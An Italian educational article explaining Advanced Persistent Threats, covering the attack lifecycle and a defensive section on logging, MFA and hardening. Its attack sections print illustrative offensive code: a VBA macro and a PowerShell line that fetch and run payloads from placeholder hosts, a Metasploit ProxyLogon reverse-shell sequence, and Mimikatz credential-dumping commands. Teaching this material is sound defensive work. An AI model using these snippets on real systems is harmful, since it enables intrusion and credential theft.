Personalizza le preferenze di consenso

Utilizziamo i cookie per aiutarti a navigare in maniera efficiente e a svolgere determinate funzioni. Troverai informazioni dettagliate su tutti i cookie sotto ogni categoria di consensi sottostanti. I cookie categorizzatati come “Necessari” vengono memorizzati sul tuo browser in quanto essenziali per consentire le funzionalità di base del sito.... 

Sempre attivi

I cookie necessari sono fondamentali per le funzioni di base del sito Web e il sito Web non funzionerà nel modo previsto senza di essi. Questi cookie non memorizzano dati identificativi personali.

I cookie funzionali aiutano a svolgere determinate funzionalità come la condivisione del contenuto del sito Web su piattaforme di social media, la raccolta di feedback e altre funzionalità di terze parti.

I cookie analitici vengono utilizzati per comprendere come i visitatori interagiscono con il sito Web. Questi cookie aiutano a fornire informazioni sulle metriche di numero di visitatori, frequenza di rimbalzo, fonte di traffico, ecc.

I cookie per le prestazioni vengono utilizzati per comprendere e analizzare gli indici di prestazione chiave del sito Web che aiutano a fornire ai visitatori un'esperienza utente migliore.

Nessun cookie da visualizzare.

I cookie pubblicitari vengono utilizzati per fornire ai visitatori annunci pubblicitari personalizzati in base alle pagine visitate in precedenza e per analizzare l'efficacia della campagna pubblicitaria.

Nessun cookie da visualizzare.

Loading...

Approfondimento Tech

Minacce APT: attacchi persistenti avanzati

Cosa sono le minacce APT, come funzionano e come proteggere i propri sistemi da questi attacchi avanzati e persistenti nella cyber security.

Advanced Persistent Threat

Indice dei contenuti

  • Cos’è una APT
  • I bersagli delle APT
  • Il fine ultimo delle APT
  • Ciclo di vita di una APT
  • Ricognizione iniziale
  • Compromissione iniziale
  • Creazione di un punto d’appoggio
  • Privilege escalation
  • Ricognizione interna
  • Movimento laterale (o pivoting)
  • Come affrontare le APT
  • APT: un mondo in continua evoluzione

Le Advanced Persistent Threat, o semplicemente APT, rappresentano oggi una delle forme più sofisticate e pericolose di attacco informatico.

Dietro a questi attacchi non si nascondono semplici hacker solitari, ma vere e proprie organizzazioni, spesso sponsorizzate da Stati, che operano con mezzi, tecniche e risorse quasi illimitate.

Questo articolo vuole offrire una panoramica chiara e completa su cosa significa A.P.T, su come queste minacce si sviluppano nel tempo e, soprattutto, su come affrontarle nel contesto della cyber security moderna.

Le APT non sono attacchi “mordi e fuggi”: al contrario, si distinguono per persistenza, soffisticazione e discrezione. Vedremo insieme le fasi tipiche del loro ciclo di vita, gli obiettivi più comuni, alcuni esempi noti, le contromisure tecniche e strategiche più efficaci, con un occhio sempre attento alle cyber security news più recenti.

Cos’è una APT

La sigla APT sta per Advanced Persistent Threat, ovvero Minaccia Persistente Avanzata. Questa definizione, apparentemente tecnica, racchiude un concetto fondamentale per chiunque si occupi di cyber security o sia interessato alla protezione dei dati e dei sistemi digitali.

Per comprendere appieno cosa significa A.P.T, occorre analizzare con attenzione ciascun termine che compone l’acronimo, perché ognuno rappresenta una caratteristica distintiva di questa tipologia di attacco informatico.

Avanzata

La componente “avanzata” si riferisce al livello tecnico estremamente sofisticato impiegato nell’attacco.

Le APT threat non si limitano a semplici virus o malware scaricabili da internet: sono il risultato di operazioni complesse che possono includere exploit di vulnerabilità zero-day (bug di sicurezza sconosciuti al produttore del software), l’uso di malware polimorfi, l’elusione dei sistemi di rilevamento e la manipolazione di più vettori contemporanei (es. email, rete, dispositivi USB, applicazioni cloud).

Spesso gli attaccanti costruiscono il loro toolkit su misura, con payload criptati, backdoor nascoste e meccanismi di comunicazione con server esterni (C2) estremamente furtivi.

Un esempio noto è rappresentato da malware come Duqu o Flame, progettati per raccogliere informazioni da bersagli strategici senza farsi rilevare da antivirus convenzionali. Questo tipo di approccio evidenzia l’uso di tattiche avanzate per rimanere sotto traccia il più a lungo possibile.

Persistente

Il termine “persistente” indica l’obiettivo primario dell’attaccante: non fuggire subito con il bottino, ma rimanere il più a lungo possibile all’interno del sistema compromesso.

Non stiamo parlando di attacchi lampo, ma di infiltrazioni lente e metodiche, dove l’aggressore si insinua nella rete, osserva, raccoglie informazioni, esegue ricognizioni e si muove con cautela. Questa persistenza può durare mesi, se non addirittura anni, con l’obiettivo di controllare in modo invisibile le infrastrutture informatiche del bersaglio, senza generare allarmi evidenti.

Il malware utilizzato nelle APT è spesso dotato di meccanismi di auto-aggiornamento e auto-rigenerazione. Se scoperto e rimosso, può riapparire attraverso altri canali, mantenendo sempre un punto d’appoggio all’interno della rete. È questa resilienza a rendere le APT così temibili e difficili da estirpare.

Minaccia

Infine, la “minaccia” si riferisce alla natura strutturata e organizzata dell’attacco. Un attacco APT non è il frutto del caso né di un adolescente curioso: è un’operazione portata avanti da gruppi altamente qualificati, spesso con risorse economiche e tecniche significative, talvolta sponsorizzati da governi o grandi organizzazioni criminali.

Sono i cosiddetti APT groups, noti alle cronache internazionali con sigle come APT28 (Fancy Bear), APT29 (Cozy Bear), Lazarus Group, Charming Kitten, e molti altri. Ogni gruppo ha le sue peculiarità, la sua area geografica di riferimento e le sue tecniche d’attacco preferite.

Molti APT attacker sono anche in grado di combinare le tecniche digitali con operazioni di ingegneria socialeestremamente raffinate, arrivando a compromettere non solo i sistemi, ma anche il comportamento e le abitudini degli utenti interni, con attacchi via LinkedIn, email, social media o falsi portali di login perfettamente credibili.

APT vs malware tradizionale

La differenza principale tra una APT e il malware tradizionale sta proprio nel modo in cui viene condotto l’attacco. Un ransomware classico, per esempio, può infettare rapidamente una rete, criptare i dati e chiedere un riscatto, agendo in modo plateale e devastante.

Una Advanced Persistent Threat, invece, si muove nell’ombra, agendo con intelligenza, studiando la struttura IT dell’organizzazione, colpendo nei punti deboli e senza rivelare la propria presenza.

È come paragonare una rapina improvvisa a una lunga operazione di infiltrazione da parte di una spia addestrata. Il ransomware è rumoroso, visibile, e immediato.

La APT, invece, è silenziosa, calcolata, e orientata al lungo termine. Questo rende le APT estremamente pericolose: non solo causano danni, ma li causano senza farsi scoprire, spesso rendendo impossibile ricostruire con precisione ciò che è stato rubato, compromesso o alterato.

APT cosa significa, in sintesi

Chi si chiede APT cosa significa, o cerca la definizione più corretta di questa sigla, dovrebbe pensare a un vero e proprio programma di infiltrazione digitale, spesso su larga scala, studiato nei minimi dettagli.

Un attacco APT può iniziare con un semplice allegato email, ma proseguire con accessi remoti non autorizzati, furti di credenziali, manipolazione dei dati, attacchi ai partner commerciali, e molto altro. E può restare nascosto per tutto il tempo necessario.

La cyber security moderna deve quindi adattarsi a questa nuova dimensione della minaccia informatica. Le advanced persistent threats sono ormai parte integrante del panorama delle computer security news, ed è fondamentale per aziende, enti pubblici e persino utenti avanzati riconoscere i segnali di una possibile infiltrazione e rafforzare la propria postura difensiva.

I bersagli delle APT

Le APT threat sono spesso associate ad attacchi a entità strategiche, quali:

  • Istituzioni governative e militari
  • Aziende multinazionali (soprattutto nei settori energia, tecnologia, difesa)
  • Banche e infrastrutture critiche (centrali, telecomunicazioni, sanità)
  • Organizzazioni non governative con influenza geopolitica

Esempio
Stuxnet, un attacco APT che ha colpito il programma nucleare iraniano attraverso una complessa operazione di sabotaggio. Ma anche attacchi a colossi come Sony, RSA Security, SolarWinds e molte università ne sono testimonianza.

Il fine ultimo delle APT

L’obiettivo delle Advanced Persistent Threats non è il semplice furto di dati. Il fine può essere molto più strategico:

  • Spionaggio industriale
    Sottrarre brevetti, piani aziendali, strategie di mercato.
  • Spionaggio politico o militare
    Carpire documenti riservati, comunicazioni sensibili, piani operativi.
  • Sabotaggio
    Alterare il funzionamento di infrastrutture (si pensi agli attacchi ICS/SCADA).
  • Influenza geopolitica
    Diffondere disinformazione, alterare elezioni, destabilizzare paesi.

Gli attacchi APT sono dunque strumenti di potere e controllo, non semplici strumenti di estorsione o danneggiamento.

Ciclo di vita di una APT

Un aspetto peculiare delle APT è la loro struttura a fasi. Questo approccio sistematico è ciò che le rende tanto efficaci quanto difficili da rilevare e contenere. Analizziamo quindi il ciclo di vita tipico di un attacco APT.

Ricognizione iniziale

La ricognizione iniziale è la fase fondamentale da cui prende il via qualsiasi attacco APT. È qui che l’aggressore costruisce le basi della propria operazione, raccogliendo ogni tipo di informazione sul bersaglio.

L’obiettivo non è ancora l’infiltrazione vera e propria, ma conoscere il nemico, capire come è strutturata la sua organizzazione, individuare i suoi punti deboli, i suoi asset più sensibili e i possibili vettori d’ingresso. In altre parole, questa fase è l’equivalente digitale di un’operazione di spionaggio preliminare.

L’importanza strategica della fase di intelligence

Un attacco APT non parte mai “alla cieca”. Gli attaccanti investono tempo e risorse per raccogliere informazioni in modo sistematico.

A seconda della complessità dell’obiettivo, questa fase può durare giorni, settimane o anche mesi, e richiede una combinazione di tecniche automatizzate e attività manuali di analisi.

Le informazioni raccolte durante la ricognizione non solo servono per identificare le vulnerabilità da sfruttare, ma anche per adattare il linguaggio e il comportamento del malware (o della campagna di phishing) al contesto reale dell’organizzazione bersaglio.

Questo livello di personalizzazione è uno dei motivi per cui le APT threat sono così efficaci.

Le informazioni ricercate

Durante la ricognizione, gli attaccanti cercano dati di vario tipo, fra cui:

  • Struttura aziendale
    Schema gerarchico, sedi operative, aree di business, nomi dei dirigenti.
  • Dipendenti e ruoli chiave
    Soprattutto chi ha accesso privilegiato, come amministratori di sistema, responsabili IT, CFO, HR.
  • Fornitori e partner
    Per attacchi supply chain o per tentativi di impersonificazione tramite email spoofing.
  • Indirizzi email, nomi utente e recapiti telefonici
    Utili per campagne di spear phishing o attacchi brute-force mirati.
  • Tecnologie in uso
    Versioni dei software, CMS, framework, dispositivi di rete, VPN.
  • Topologia della rete
    IP pubblici, DNS interni, configurazioni errate esposte su Internet.

Queste informazioni possono sembrare banali o di poco conto, ma nel contesto di un attacco avanzato diventano tasselli essenziali per costruire una strategia d’infiltrazione efficace e quasi invisibile.

Tecniche e strumenti utilizzati

La ricognizione iniziale può avvenire in due modalità principali:

  • Passiva
    L’attaccante osserva senza interagire direttamente con i sistemi dell’obiettivo, riducendo così il rischio di essere scoperto.
  • Attiva
    Vengono inviati pacchetti, email o richieste specifiche per sondare il comportamento dei sistemi, cercando eventuali punti deboli.

Le tecniche di raccolta informazioni più comuni includono:

1. OSINT (Open Source Intelligence)

L’utilizzo di fonti pubblicamente accessibili è uno dei pilastri della ricognizione passiva. Alcuni strumenti e piattaforme usati in questo contesto sono:

  • Google Dorking
    Query avanzate per trovare documenti interni esposti per errore nei motori di ricerca (es. filetype:pdf site:azienda.it)
  • LinkedIn
    Per identificare ruoli chiave, strutture interne, relazioni tra i dipendenti
  • Shodan e Censys: per individuare dispositivi esposti su Internet con configurazioni errate o porte aperte
  • WHOIS, DNSdumpster, crt.sh
    Per analizzare domini e certificati SSL
  • GitHub e Pastebin
    Per trovare credenziali o API keys involontariamente pubblicate

2. Social Engineering

L’attaccante può creare profili falsi sui social, iscriversi a newsletter aziendali, interagire in forum o community in cui l’azienda è presente.

A volte può simulare un candidato per una posizione lavorativa, o fingersi un fornitore in cerca di informazioni. Queste tecniche sfruttano la psicologia umana, più che la tecnologia, e spesso rappresentano la parte più delicata e creativa della ricognizione.

3. Phishing di prova (Recon phishing)

In alcuni casi, i gruppi APT inviano email non dannose, ma tracciate, per testare la reazione degli utenti:

  • Capiscono quali indirizzi sono attivi
  • Verificano chi clicca su link o apre allegati
  • Raccattano informazioni sugli header di risposta (es. IP, client email usato, gateway di posta)

Queste “sonde” servono a misurare il livello di consapevolezza e difesa dell’utente, in vista di attacchi successivi più aggressivi.

4. Scansioni attive e fingerprinting

Sebbene più rischiose, le tecniche attive permettono all’attaccante di ottenere informazioni più dettagliate. Ad esempio:

  • Nmap e Masscan per identificare porte aperte e servizi esposti
  • WhatWeb e Wappalyzer per scoprire le tecnologie utilizzate su un sito web
  • Netcraft per ottenere dati sull’infrastruttura di hosting
  • FOCA (Fingerprinting Organizations with Collected Archives) per analizzare i metadati contenuti nei documenti PDF e Word pubblicati online

Un esempio di comando Nmap per identificare servizi esposti:

nmap -sV -T4 -Pn -p 1-10000 azienda.it

Il ruolo dell’analisi comportamentale

Gli attori APT più avanzati vanno oltre la semplice raccolta dati: creano veri e propri profili comportamentali degli utenti e dei sistemi bersaglio. Ad esempio, analizzano:

  • Le fasce orarie di accesso ai sistemi
  • Le abitudini nell’aprire allegati o rispondere alle email
  • I device più usati per accedere alla rete
  • Le routine amministrative del team IT

Questi dati servono a pianificare attacchi mirati nei momenti di maggiore vulnerabilità, come nei weekend, durante aggiornamenti di sistema o periodi di turnover del personale.

Compromissione iniziale

Dopo settimane (o mesi) di ricognizione iniziale, gli attaccanti APT sono pronti a compiere il primo passo concreto per infiltrarsi nei sistemi del bersaglio.

Questa fase, detta compromissione iniziale, rappresenta il punto di accesso alla rete o al sistema. È il momento in cui l’attacco diventa attivo. Da qui inizia la lunga strada verso la persistenza e il controllo della rete.

A differenza degli attacchi automatici o casuali, la compromissione iniziale in una APT è studiata nel dettaglio, cucita su misura per il target, spesso con un alto tasso di successo e difficoltà elevata di rilevamento.

Vediamo le tecniche principali usate dai gruppi APT per ottenere l’accesso iniziale, corredate da esempi e frammenti di codice.

1. Phishing mirato (Spear Phishing)

La tecnica più comune per iniziare un attacco APT è lo spear phishing, ovvero un phishing altamente personalizzato, costruito su misura sulla base dei dati raccolti durante la fase di ricognizione.

A differenza del phishing generico (dove tutti ricevono la stessa email-truffa), qui l’attaccante scrive email credibili, che sembrano provenire da colleghi, fornitori o da figure autorevoli dell’azienda. L’obiettivo è indurre l’utente a cliccare su un link malevolo o ad aprire un allegato infetto.

Esempio reale:

Un attaccante invia un’email al reparto HR, spacciandosi per un candidato, con un curriculum allegato. In realtà, il file contiene una macro dannosa che apre una backdoor.

Codice di esempio: macro malevola in VBA

Sub AutoOpen()

    Dim url As String

    url = "http://malicious-server.com/payload.exe"

    Dim http As Object

    Set http = CreateObject("Microsoft.XMLHTTP")

    http.Open "GET", url, False

    http.Send

    Dim stream As Object

    Set stream = CreateObject("ADODB.Stream")

    stream.Type = 1

    stream.Open

    stream.Write http.responseBody

    stream.SaveToFile "C:\Users\Public\payload.exe", 2

    Shell "C:\Users\Public\payload.exe", vbHide

End Sub

Questa macro scarica ed esegue un malware dalla rete, bypassando le difese se la macro non è bloccata da policy aziendali.

2. Exploit di vulnerabilità zero-day

Gli zero-day sono vulnerabilità non ancora conosciute né corrette dai produttori del software. Sono una delle armi preferite dei gruppi APT, proprio per la loro efficacia e per la difficoltà estrema di difendersi senza patch ufficiali.

Questi exploit possono essere usati tramite siti compromessi, file infetti, o persino tramite protocolli remoti (es. RDP, SMB, Exchange, HTTP). Alcuni APT hanno un arsenale di exploit zero-day, spesso acquistati sul dark web o sviluppati in casa.

Caso reale:

L’attacco Hafnium contro Microsoft Exchange ha sfruttato quattro vulnerabilità zero-day (ProxyLogon) per ottenere accesso remoto ai server di posta, eludendo firewall e antivirus.

Esempio di payload per exploit (semplificato con Metasploit):

use exploit/windows/http/exchange_proxylogon_rce

set RHOSTS mail.vittima.com

set LHOST 192.168.1.100

set LPORT 4444

exploit

Questo script lancia un reverse shell su una macchina compromessa usando una vulnerabilità nota (CVE-2021-26855). È solo una simulazione, ma mostra quanto possa essere diretto un attacco con exploit già pronti all’uso.

3. File infetti allegati ad email apparentemente legittime

In molti casi, gli attaccanti usano documenti Office, PDF o archivi ZIP infetti, allegati ad email perfettamente contestualizzate (offerte commerciali, ordini, convocazioni, fatture). L’utente, fidandosi, apre il file e innesca l’esecuzione del codice malevolo.

Esempio: documento Word con payload PowerShell

Un documento Word può contenere macro nascoste che lanciano un comando PowerShell per scaricare ed eseguire un malware da remoto.

$w = New-Object Net.WebClient

$w.DownloadFile("http://malicious-host.xyz/backdoor.exe", "$env:TEMP\backdoor.exe")

Start-Process "$env:TEMP\backdoor.exe"

Una volta eseguito, il malware può stabilire una connessione al server C2 (Command and Control) e avviare il processo di infezione e persistenza.

4. Accesso tramite credenziali rubate

Un altro metodo estremamente efficace è l’uso di credenziali rubate, ottenute tramite phishing, violazioni precedenti, o acquistate nel dark web. Gli attaccanti cercano di accedere a:

  • VPN aziendali
  • Portali cloud (es. Office 365, Google Workspace)
  • Pannelli amministrativi
  • Remote Desktop

Spesso, se le credenziali non sono protette da MFA, l’attaccante può accedere indisturbato, sembrare un utente legittimo e iniziare il movimento laterale.

Script di login automatizzato in Python (esempio):

import requests

url = "https://vpn.azienda.com/login"

data = {

    "username": "utente.rubato",

    "password": "password123!"

}

response = requests.post(url, data=data)

if "dashboard" in response.text:

    print("Accesso riuscito!")

else:

    print("Accesso negato.")

Anche se semplificato, questo script mostra come si possa automatizzare il test delle credenziali rubate per identificare quali account siano ancora attivi e vulnerabili.

Conclusione della compromissione iniziale

Una volta ottenuto l’accesso iniziale, l’attaccante è “dentro”. Tuttavia, lo scopo di una APT threat non è solo entrare: è restare, muoversi, esplorare e colpire in profondità.

A questo punto, il malware può installare una backdoor, eseguire la privilege escalation e avviare la mappatura interna della rete.

La fase di compromissione iniziale è quindi il vero punto di svolta: da qui parte l’operazione silenziosa che può trasformarsi in spionaggio, furto, sabotaggio o estorsione su vasta scala.

Prevenirla significa investire nella formazione degli utenti, nella segmentazione della rete, nell’analisi comportamentale e nel monitoraggio costante dei log.

 APT threat

Creazione di un punto d’appoggio

Una volta “dentro”, l’attaccante crea un foothold, ovvero un punto di accesso persistente:

  • Installa una backdoor
  • Configura meccanismi di esecuzione automatica
  • Elude i sistemi antivirus

Spesso viene utilizzato un C2 (Command and Control) per ricevere istruzioni o scaricare payload aggiuntivi.

Privilege escalation

Per poter operare con piena libertà, l’attaccante cerca di ottenere privilegi amministrativi. Questa fase può prevedere:

  • Dumping delle credenziali da memory (con tool come Mimikatz)
  • Exploit locali per elevare i permessi (es. CVE recenti)
  • Abuso di configurazioni errate

Esempio di codice in PowerShell per estrarre credenziali:

Invoke-Mimikatz -Command '"privilege::debug" "log" "sekurlsa::logonpasswords"'

Ricognizione interna

Una volta ottenuto l’accesso iniziale alla rete target — che sia tramite phishing, exploit o credenziali rubate — l’attaccante non si ferma.

Inizia invece la fase di ricognizione interna, un momento cruciale per trasformare un accesso singolo in una compromissione dell’intera infrastruttura.

A questo punto, l’obiettivo non è più solo entrare, ma capire esattamente dove si è, cosa c’è attorno, e dove si può arrivare.

In un attacco APT, questa fase è eseguita con grande cautela e precisione. L’attaccante studia l’ambiente con lo stesso rigore con cui un ladro esperto esplora i corridoi di un edificio prima di raggiungere la cassaforte.

Obiettivi della ricognizione interna

Durante questa fase, l’attaccante cerca di:

  • Enumerare host, server e share di rete per sapere cosa è accessibile
  • Identificare database, file sensibili e repository di valore strategico
  • Analizzare Active Directory (AD) e le relazioni tra utenti, gruppi e privilegi
  • Comprendere le policy di sicurezza in vigore, per capire come aggirarle
  • Raccogliere altre credenziali, magari in chiaro o memorizzate nella memoria RAM

L’attività viene svolta in maniera silenziosa, evitando azioni che possano generare log o alert nei sistemi di difesa.

1. Enumerazione di host, share e servizi

Il primo passo è mappare i dispositivi presenti nella rete interna. Per farlo, si usano comandi nativi e tool che passano inosservati perché sembrano legittimi.

Comando PowerShell per scansionare host attivi in una subnet:

1..254 | ForEach-Object {

    $ip = "192.168.1.$_"

    if (Test-Connection -ComputerName $ip -Count 1 -Quiet) {

        Write-Output "$ip is alive"

    }

}

Questo semplice script esegue un ping silenzioso per verificare quali dispositivi sono attivi nella rete.

Enumerazione di share di rete accessibili:

net view \\192.168.1.50

Oppure in PowerShell:

Get-SmbShare -CimSession 192.168.1.50

Questo consente di elencare cartelle condivise, che spesso contengono documenti riservati o file di configurazione utili.

2. Raccolta informazioni sugli utenti e gruppi AD

Una delle fasi più strategiche è l’analisi dell’Active Directory, perché permette all’attaccante di capire chi ha poteri amministrativi, quali utenti sono più privilegiati e quali relazioni esistono tra gruppi.

Comando per elencare gli utenti:

Get-ADUser -Filter * -Properties DisplayName, MemberOf | Select-Object Name, MemberOf

Comando per vedere i gruppi privilegiati:

Get-ADGroupMember -Identity "Domain Admins"

Queste informazioni sono usate per pianificare il movimento laterale o la privilege escalation.

3. Analisi con BloodHound

Uno degli strumenti più utilizzati nelle APT per analizzare le relazioni di trust all’interno del dominio è BloodHound, un tool che sfrutta grafi e analisi delle dipendenze per mostrare come si può passare da un utente normale a un admin di dominio.

Come funziona BloodHound:

  1. L’attaccante usa uno script (come SharpHound) da una macchina compromessa.
  2. Il tool raccoglie dati AD: utenti, computer, gruppi, ACL, sessioni utente.
  3. I dati vengono caricati nella GUI di BloodHound, che mostra percorsi di attacco visivi.

Esecuzione del raccolto dati con SharpHound:

SharpHound.exe -c All -d dominio.local -zipfilename data.zip

Una volta caricato il file .zip nella GUI, l’attaccante può vedere percorsi come:

  • Shortest Path to Domain Admins
  • Kerberoastable Users
  • ACL attack paths

BloodHound è così potente che molte organizzazioni lo usano anche per scopi difensivi, proprio per scoprire configurazioni errate prima che lo faccia un attaccante.

4. Analisi delle policy di sicurezza e dei log

Gli attaccanti APT vogliono capire quanto possono muoversi liberamente. Analizzano GPO (Group Policy Objects), permessi sui file, auditing attivo, e meccanismi di difesa come Windows Defender, EDR, o SIEM attivi.

Comando per vedere se l’auditing è attivo:

auditpol /get /category:*

Verifica dello stato di Windows Defender:

Get-MpComputerStatus

Se l’ambiente è poco monitorato o le policy non sono configurate correttamente, l’attaccante capisce che può operare indisturbato, installare strumenti o persistere senza rischi immediati.

5. Raccolta di credenziali e token

Durante la ricognizione interna, gli attaccanti cercano file di configurazione, password memorizzate, token di sessione e cookie. Spesso le password sono in chiaro o poco protette.

Uso di Mimikatz per dumping di credenziali:

Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

Oppure, raccolta token per impersonificazione:

mimikatz # sekurlsa::tickets

Con queste credenziali l’attaccante può impersonare altri utenti, anche amministratori, senza bisogno di password.

Movimento laterale (o pivoting)

Il movimento laterale permette di spostarsi all’interno della rete, spesso fino al dominio principale. Tecniche usate includono:

  • Pass-the-Hash
  • Remote Desktop Protocol (RDP)
  • Windows Admin Shares
  • WMI, PsExec

Il pivoting può anche includere attacchi ad ambienti cloud o hybrid.

Mantenimento della presenza

Essenziale per le APT threat è il mantenimento dell’accesso nel tempo. Questo può avvenire tramite:

  • Nuovi account nascosti
  • Persistenza nei registry di Windows
  • Rootkit o firmware compromessi

In molti casi, gli attaccanti possono “sparire” per mesi, per poi tornare indisturbati.

Completamento della missione

Alla fine, l’obiettivo viene raggiunto:

  • Esfiltrazione di dati riservati
  • Modifica o sabotaggio di sistemi
  • Diffusione laterale verso partner o fornitori

La parte più subdola è che l’attacco può passare inosservato per mesi, causando danni enormi prima di essere scoperto.

Come affrontare le APT

Difendersi da una APT threat non è questione di installare un buon antivirus o di aggiornare un firewall. Le advanced persistent threats sono progettate per eludere proprio queste difese tradizionali.

Occorre quindi adottare una strategia di sicurezza stratificata, che integri tecnologie avanzate, processi rigorosi e una forte cultura della sicurezza informatica in tutta l’organizzazione.

Il principio fondamentale è questo: la prevenzione è importante, ma la rilevazione precoce è essenziale. Un attaccante potrebbe già essere all’interno della rete; ciò che fa la differenza è accorgersene prima che completi la sua missione.

Logging: la visibilità è tutto

Il logging centralizzato è la base di ogni infrastruttura di difesa efficace contro le APT. Raccogliere i log da sistemi, firewall, endpoint, server, applicazioni e servizi cloud permette di correlare eventi sospetti e identificare modelli anomali di comportamento.

Strumenti consigliati:

  • SIEM (Security Information and Event Management): piattaforme come Splunk, ELK Stack, Wazuh o QRadar analizzano i log in tempo reale.
  • UEBA (User and Entity Behavior Analytics): strumenti che apprendono il comportamento “normale” e segnalano le deviazioni.

Esempio:

Se un account di un utente dell’ufficio HR esegue una scansione di rete in PowerShell alle 2 di notte, un buon SIEM correla quell’evento con il profilo utente e lo segnala come potenziale compromissione.

# Esempio di query in ELK (Kibana) per rilevare uso sospetto di PowerShell

process.name: powershell.exe AND process.args: "*Invoke-Command*" AND user.name: "hr_user"

Il logging non serve solo per il presente: consente anche di ricostruire una catena di eventi dopo un attacco e capire cosa è stato compromesso.

Account Hardening: fortificare l’identità

Gli account utente sono una delle superfici di attacco più sfruttate. Una credenziale rubata può aprire la porta a movimenti laterali, escalation dei privilegi e persino al controllo del dominio.

Misure fondamentali:

  • Autenticazione a più fattori (MFA)
    Obbligatoria per ogni accesso remoto, VPN, cloud, pannelli di gestione.
  • Gestione centralizzata delle password
    Tramite vault sicuri come HashiCorp Vault, CyberArk, o Bitwarden for Business.
  • Account naming e privilege minimization
    Evitare nomi prevedibili (es. admin, administrator), ridurre i privilegi degli utenti e dividere i ruoli.

Esempio:

Se un utente accede regolarmente solo tra le 9:00 e le 18:00 da una postazione fissa a Milano, un tentativo di login alle 3:00 da Singapore deve scatenare un alert automatico.

Active Directory Hardening: proteggere il cuore del sistema

L’Active Directory è spesso l’obiettivo finale di un attacco APT, poiché controlla l’identità e i privilegi di ogni utente e dispositivo all’interno di un dominio Windows.

Strategie difensive:

  • Segmentazione e tiering degli account (Tier 0 per Domain Admin, Tier 1 per server, Tier 2 per utenti)
  • LAPS (Local Administrator Password Solution) per evitare password statiche sui client
  • Controllo e auditing continuo delle modifiche a gruppi e policy

Esempio tecnico:

Abilitare l’audit per i cambiamenti nei gruppi AD privilegiati:

auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable

Questo consente di tracciare in tempo reale ogni aggiunta sospetta ai gruppi Domain Admins o Enterprise Admins.

Endpoint Hardening: rafforzare il fronte d’ingresso

Gli endpoint (PC, laptop, dispositivi mobile) sono il primo punto di attacco per molte APT, tramite phishing, exploit browser o malware via email. Una difesa efficace parte da qui.

Misure consigliate:

  • EDR (Endpoint Detection and Response)
    Strumenti come CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint monitorano continuamente i comportamenti degli endpoint.
  • AppLocker o Windows Defender Application Control
    Per bloccare l’esecuzione di script o applicazioni non autorizzate.
  • Gestione degli aggiornamenti
    Ogni endpoint deve ricevere patch regolari, in particolare per vulnerabilità critiche.

BYOD (Bring Your Own Device):

  • Separare i dispositivi personali da quelli aziendali
  • Applicare controlli tramite MDM (Mobile Device Management) come Intune, Jamf, Kandji
  • Limitare l’accesso alle risorse interne a dispositivi verificati

Esempio:

Con un EDR configurato, è possibile bloccare automaticamente l’esecuzione di un file eseguibile che tenta di lanciare un processo sospetto da AppData\Roaming.

{

  "rule": {

    "if": "process.path == '*\\AppData\\Roaming\\*.exe' && parent_process.name == 'explorer.exe'",

    "then": "block_and_alert"

  }

}

Oltre la tecnologia: cultura della sicurezza

Una difesa efficace contro le advanced persistent threats non può essere solo tecnica. È essenziale coltivare una cultura della cyber security diffusa a tutti i livelli dell’azienda:

  • Formazione continua del personale su phishing, ingegneria sociale, buone pratiche
  • Simulazioni regolari di attacchi (red team/purple team) per testare le difese reali
  • Coinvolgimento della direzione per promuovere la sicurezza come priorità aziendale, non solo IT

APT: un mondo in continua evoluzione

Le APT non sono un fenomeno statico. Cambiano, evolvono, si adattano. Le nuove frontiere includono:

  • Uso dell’AI per evitare il rilevamento
  • Attacchi su infrastrutture cloud-native
  • Supply Chain Attacks
  • Attacchi ibridi con social engineering evoluto

Chi lavora nel mondo della cyber security news sa che ogni giorno emergono nuovi gruppi, nuove vulnerabilità, nuove tecniche. Restare aggiornati è parte della difesa.


Domande e risposte

  1. Cosa significa APT?
    APT sta per Advanced Persistent Threat, ovvero minaccia avanzata e persistente.
  2. Chi sono i bersagli delle APT?
    Organizzazioni governative, aziende strategiche e infrastrutture critiche.
  3. Come avviene un attacco APT?
    Con tecniche sofisticate, divise in più fasi, che mirano a un accesso stabile e invisibile.
  4. Qual è la differenza tra APT e malware tradizionale?
    L’APT è mirato, persistente e spesso sponsorizzato da Stati o grandi gruppi.
  5. Cosa sono le vulnerabilità zero-day?
    Bug sconosciuti alla comunità e sfruttabili dagli attaccanti senza possibilità di difesa immediata.
  6. Si può prevenire un attacco APT?
    Non al 100%, ma si può ridurre drasticamente il rischio con una sicurezza multilivello.
  7. Cosa fa un SIEM contro le APT?
    Correla i dati di log per identificare comportamenti anomali e segnali di compromissione.
  8. Le APT colpiscono anche le PMI?
    Sì, soprattutto se fanno parte di filiere con grandi aziende o settori strategici.
  9. Cos’è il movimento laterale in una APT?
    La capacità dell’attaccante di spostarsi nella rete per raggiungere obiettivi più sensibili.
  10. Quali sono le principali parole chiave legate alle APT?
    APT, advanced persistent, cyber security news, computer security news, zeroday, apt threat, advanced persistent threat, APT cosa significa.
To top